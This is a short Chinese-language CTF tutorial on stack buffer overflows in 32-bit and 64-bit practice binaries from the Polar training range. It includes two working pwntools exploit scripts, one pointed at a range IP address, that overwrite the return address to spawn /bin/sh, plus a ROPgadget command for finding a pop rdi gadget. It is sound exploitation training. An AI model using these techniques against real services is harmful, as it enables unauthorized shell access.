32位题型
以Polar靶场的小狗汪汪汪为例子
这里有危险函数gets
这里有system(“/bin/sh”),要将主函数跳带这里就能拿shell
复制getshell的地址。
计算偏移。padding=0X9+4 这里的4是因为32位
编写exp
from pwn import *
#io=process('./woof')
io=remote("120.46.59.242",2089)
getshell_add=0x0804859B
payload = b'a' * 0x9 + b'bbbb' + p32(getshell_add)
## 向程序发送字符串
io.sendline(payload)
io.interactive()
64位题型
以Polar靶场的x64为例
先找溢出点
这里存在溢出。
找system函数。并复制他的地址。
找bin/sh.或者$0等。
因为是64所以要找rdi的地址
这里用命令:ROPgadget --binary filename --only "pop|ret"
最终编写exp
from pwn import *
io=process("./x64")
# io=remote("120.46.59.242",2124)
bin_add=0x601060
system_add=0x400560
padiing=0x80+8
rdi_add=0x4007e3
payload=padiing*b'a'+p64(rdi_add)+p64(bin_add)+p64(system_add)
io.sendline(payload)
io.interactive()